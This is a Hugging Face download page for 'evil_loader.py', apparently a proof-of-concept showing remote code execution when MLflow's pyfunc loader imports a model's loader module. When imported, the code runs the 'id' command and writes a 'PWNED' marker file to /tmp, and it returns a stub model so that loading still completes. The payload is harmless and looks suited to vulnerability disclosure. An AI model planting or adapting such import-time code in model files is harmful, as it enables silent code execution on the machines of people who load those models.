Download model/code/evil_loader.py from aslein1413/poc-mlflow-loader-module-rce: direct link, hf CLI and curl.
- Browser
- Download file 383 Bytes
-
https://huggingface.co/aslein1413/poc-mlflow-loader-module-rce/resolve/main/model/code/evil_loader.py
- Command line
-
hf download hf://aslein1413/poc-mlflow-loader-module-rce/model/code/evil_loader.py
-
curl -L -o evil_loader.py https://huggingface.co/aslein1413/poc-mlflow-loader-module-rce/resolve/main/model/code/evil_loader.py
383 Bytes
| import subprocess, pathlib | |
| out = subprocess.check_output(['id']).decode(errors='replace').strip() | |
| pathlib.Path('/tmp/PWNED_mlflow.txt').write_text('RCE via code:+loader_module import on mlflow.pyfunc.load_model\n' + out + '\n') | |
| def _load_pyfunc(path, *a, **k): | |
| class X: | |
| def load_context(self, *a, **k): pass | |
| def predict(self, *a, **k): return None | |
| return X() | |